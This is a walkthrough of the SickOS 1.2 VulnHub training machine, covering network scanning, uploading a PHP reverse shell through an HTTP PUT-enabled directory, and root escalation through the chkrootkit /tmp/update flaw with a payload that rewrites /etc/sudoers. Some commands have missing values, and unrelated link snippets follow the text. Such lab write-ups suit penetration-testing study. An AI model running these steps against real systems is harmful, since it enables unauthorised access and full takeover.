SickOS 1.2 Walkthrough

Preparation:

Down load the SickOS virtual machines from the following website:

https://www.vulnhub.com/entry/sickos-12,144/

1. Scan the network to find the IP of SickOS server. The IP address of the SickOS is 10.0.0.31.

netdiscover -r 10.0.0.0/

2. Perform the TCP/UDP scan to the SickOS server to find potential vulnerabilities.

TCP Scan 1:

nmap -Pn -sS --stats-every 3m --max-retries  --max-scan-delay  --defeat-rst-ratelimit -T4 -p1- -oN /root/Delete/tcp1.txt 10.0.0.31

TCP Scan 2:

UDP Scan:

3. Browse the website(http://10.0.0.31) through Firefox. And nothing special found on the source page.

<html>

<img src="blow.jpg">

</html>

4. Run the tool nikto or dirbust

nikto -h 10.0.0.31

dirbuster

Browse the website(http://10.0.0.31/test/) through Firefox. But nothing found.

5. Try to use the tool curl to find some vulnerabilities.

curl -v -X OPTIONS http://10.0.0.31

Find some vulnerabilities here. We can put some reverse web shell to the website.

curl -v -X OPTIONS http://10.0.0.31/test

Modified and save the php-reverse-shell.php file.

6. Try to use Nmap to upload the reverse-shell file to the target website.

nmap -p  10.0.0.31 --script http-put --script-args http-put.url='/test/exploit.php',http-put.file='php-reverse-shell.php'

7. Listening on port 443 and browse the exploit website.

Now we connect  to the SickOS server.

8. Find the chkrootkit file in the folder /etc/cron.daily.

ls -l /etc/cron.daily

Find the version of chkrootkit.

dpkg -l | grep chkrootkit

Search  chkrootkit related exploit method on Kali Linux.

searchsploit chkrootkit

cat /usr/share/exploitdb/exploits/linux/local/.txt

We just found a serious vulnerability in the chkrootkit package, which

may allow local attackers to gain root access to a box in certain

configurations (/tmp not mounted noexec).

The vulnerability is located in the function slapper() in the

shellscript chkrootkit:

#

# SLAPPER.{A,B,C,D} and the multi-platform variant

#

slapper (){

   SLAPPER_FILES="${ROOTDIR}tmp/.bugtraq ${ROOTDIR}tmp/.bugtraq.c"

   SLAPPER_FILES="$SLAPPER_FILES ${ROOTDIR}tmp/.unlock ${ROOTDIR}tmp/httpd \

   ${ROOTDIR}tmp/update ${ROOTDIR}tmp/.cinik ${ROOTDIR}tmp/.b"a

   SLAPPER_PORT="0.0:2002 |0.0:4156 |0.0:1978 |0.0:1812 |0.0:2015 "

   OPT=-an

   STATUS=0

   file_port=

   if ${netstat} "${OPT}"|${egrep} "^tcp"|${egrep} "${SLAPPER_PORT}">

/dev/null 2>&1

      then

      STATUS=1

      [ "$SYSTEM" = "Linux" ] && file_port=`netstat -p ${OPT} | \

         $egrep ^tcp|$egrep "${SLAPPER_PORT}" | ${awk} '{ print  $7 }' |

tr -d :`

   fi

   for i in ${SLAPPER_FILES}; do

      if [ -f ${i} ]; then

         file_port=$file_port $i

         STATUS=1

      fi

   done

   if [ ${STATUS} -eq 1 ] ;then

      echo "Warning: Possible Slapper Worm installed ($file_port)"

   else

      if [ "${QUIET}" != "t" ]; then echo "not infected"; fi

         return ${NOT_INFECTED}

   fi

}

The line 'file_port=$file_port $i' will execute all files specified in

$SLAPPER_FILES as the user chkrootkit is running (usually root), if

$file_port is empty, because of missing quotation marks around the

variable assignment.

Steps to reproduce:

- Put an executable file named 'update' with non-root owner in /tmp (not

mounted noexec, obviously)

- Run chkrootkit (as uid 0)

Result: The file /tmp/update will be executed as root, thus effectively

rooting your box, if malicious content is placed inside the file.

If an attacker knows you are periodically running chkrootkit (like in

cron.daily) and has write access to /tmp (not mounted noexec), he may

easily take advantage of this.

Suggested fix: Put quotation marks around the assignment.

file_port="$file_port $i"

I will also try to contact upstream, although the latest version of

chkrootkit dates back to 2009 - will have to see, if I reach a dev there.

Prepare the exploit:

echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update

Make sure we have the full privileges of the update file.

9. Run the run-parts command and press Enter twice. Finally, execute the command - sudo su.

Ahaaa! Get to root privilege.

run-parts /etc/cron.daily

sudo su

Try harder, until success.

OSCP Learning Notes - Capstone(4)的更多相关文章

  1. OSCP Learning Notes - Capstone(3)

    DroopyCTF Walkthrough Preparation: Download the DroopyCTF virtual machine from the following website ...

  2. OSCP Learning Notes - Capstone(2)

    BTRSys v2.1 Walkthrough Preparation: Download the BTRSys virtual machine from the following website: ...

  3. OSCP Learning Notes - Capstone(1)

    Kioptrix Level 1.1 Walkthrough Preparation: Download the virtual machine  from the following website ...

  4. OSCP Learning Notes - Overview

    Prerequisites: Knowledge of scripting languages(Bash/Pyhon) Understanding of basic networking concep ...

  5. OSCP Learning Notes - Buffer Overflows(3)

    Finding Bad Characters 1. Find the bad charaters in the following website: https://bulbsecurity.com/ ...

  6. OSCP Learning Notes - Buffer Overflows(2)

    Finding the Offset 1. Use the Metasploite pattern_create.rb tool to create 5900 characters. /usr/sha ...

  7. OSCP Learning Notes - Buffer Overflows(1)

    Introduction to Buffer Overflows Anatomy of Memory Anatomy of the Stack Fuzzing Tools: Vulnserver -  ...

  8. OSCP Learning Notes - Netcat

    Introduction to Netcat Connecting va Listening Bind Shells Attacker connects to victim on listening ...

  9. OSCP Learning Notes - Enumeration(4)

    DNS Enumeration 1. Host Tool host is a simple utility for performing DNS lookups. It is normally use ...

随机推荐

  1. rust 编译器工作流

    将源代码转为高级中间表示,在将其转为中级中间表示,在将其转为LLVM IR, 最终输出机器码. rust 租借检查 选项优化,代码生成(宏, 范型) , 都是在MIR层.

  2. C#多线程编程（一）进程与线程

    一. 进程 简单来说,进程是对资源的抽象,是资源的容器,在传统操作系统中,进程是资源分配的基本单位,而且是执行的基本单位,进程支持并发执行,因为每个进程有独立的数据,独立的堆栈空间.一个程序想要并发执 ...

  3. 【漏洞二】Apache HTTP Server "httpOnly" Cookie信息泄露漏洞

    [漏洞] Apache HTTP Server "httpOnly" Cookie信息泄露漏洞 [原因] 服务器问题 Apache HTTP Server在对状态代码400的默认错 ...

  4. StringEscapeUtils防止xss攻击详解

    StringUtils和StringEscapeUtils这两个实用类. 1.转义防止xss攻击 1.转义可以分为下面的几种情况 第一用户输入特殊字符的时候,在提及的时候不做任何处理保持到数据库,当用 ...

  5. 在树莓派上读取土壤湿度传感器读书-python代码实现及常见问题（全面简单易懂）

    本篇文章简单介绍了如何在树莓派上配置土壤湿度传感器以读取土壤湿度(以百分比的形式出现)及代码实现. 主要包含有以下4个模块: 一.土壤湿度传感器常见类型及介绍 二.实验所需设备 三.设备连线方式与代码 ...

  6. Vue学习-组件的基本使用（局部组件）

    目录 示例代码 1.创建组件(构造器对象创建-Vue.extend) 2.注册组件 3.使用组件 4.语法糖创建并注册组件 示例代码 http://jsrun.net/H8vKp/edit 1.创建组 ...

  7. C++的新手入门答疑

    基本部分: .ctrl+f5 调试不运行,会出现press anykey to continue f5 调试 .c++变c,修改Stdafx.h,将#include<stdio.h>替换为 ...

  8. Idea+springboot入坑之路

    环境准备 IDEA 社区版: 2019.3 jdk: 1.8.0_241 tomcat: 7.0.99 maven: 3.6.3 spring-boot:2.2.5.RELEASE 插件 spring ...

  9. P5676 [GZOI2017]小z玩游戏【Tarjan】

    小z玩游戏 Tarjan算是板子题吧,但是要稍微做一些修改,建边需要多考虑,建立"虚点". 题目描述 小 z 很无聊. 小 z 要玩游戏. 小 z 有\(N\)个新游戏,第\(i\ ...

  10. php抽奖功能

    在项目开发中经常会遇到花钱抽奖类型的需求.但是老板总是担心用户用小钱抽到大奖.这样会导致项目亏损.下边这段代码可以有效制止抽奖项目亏钱. 个人奖池: 语言:thinkphp redis mysql 表 ...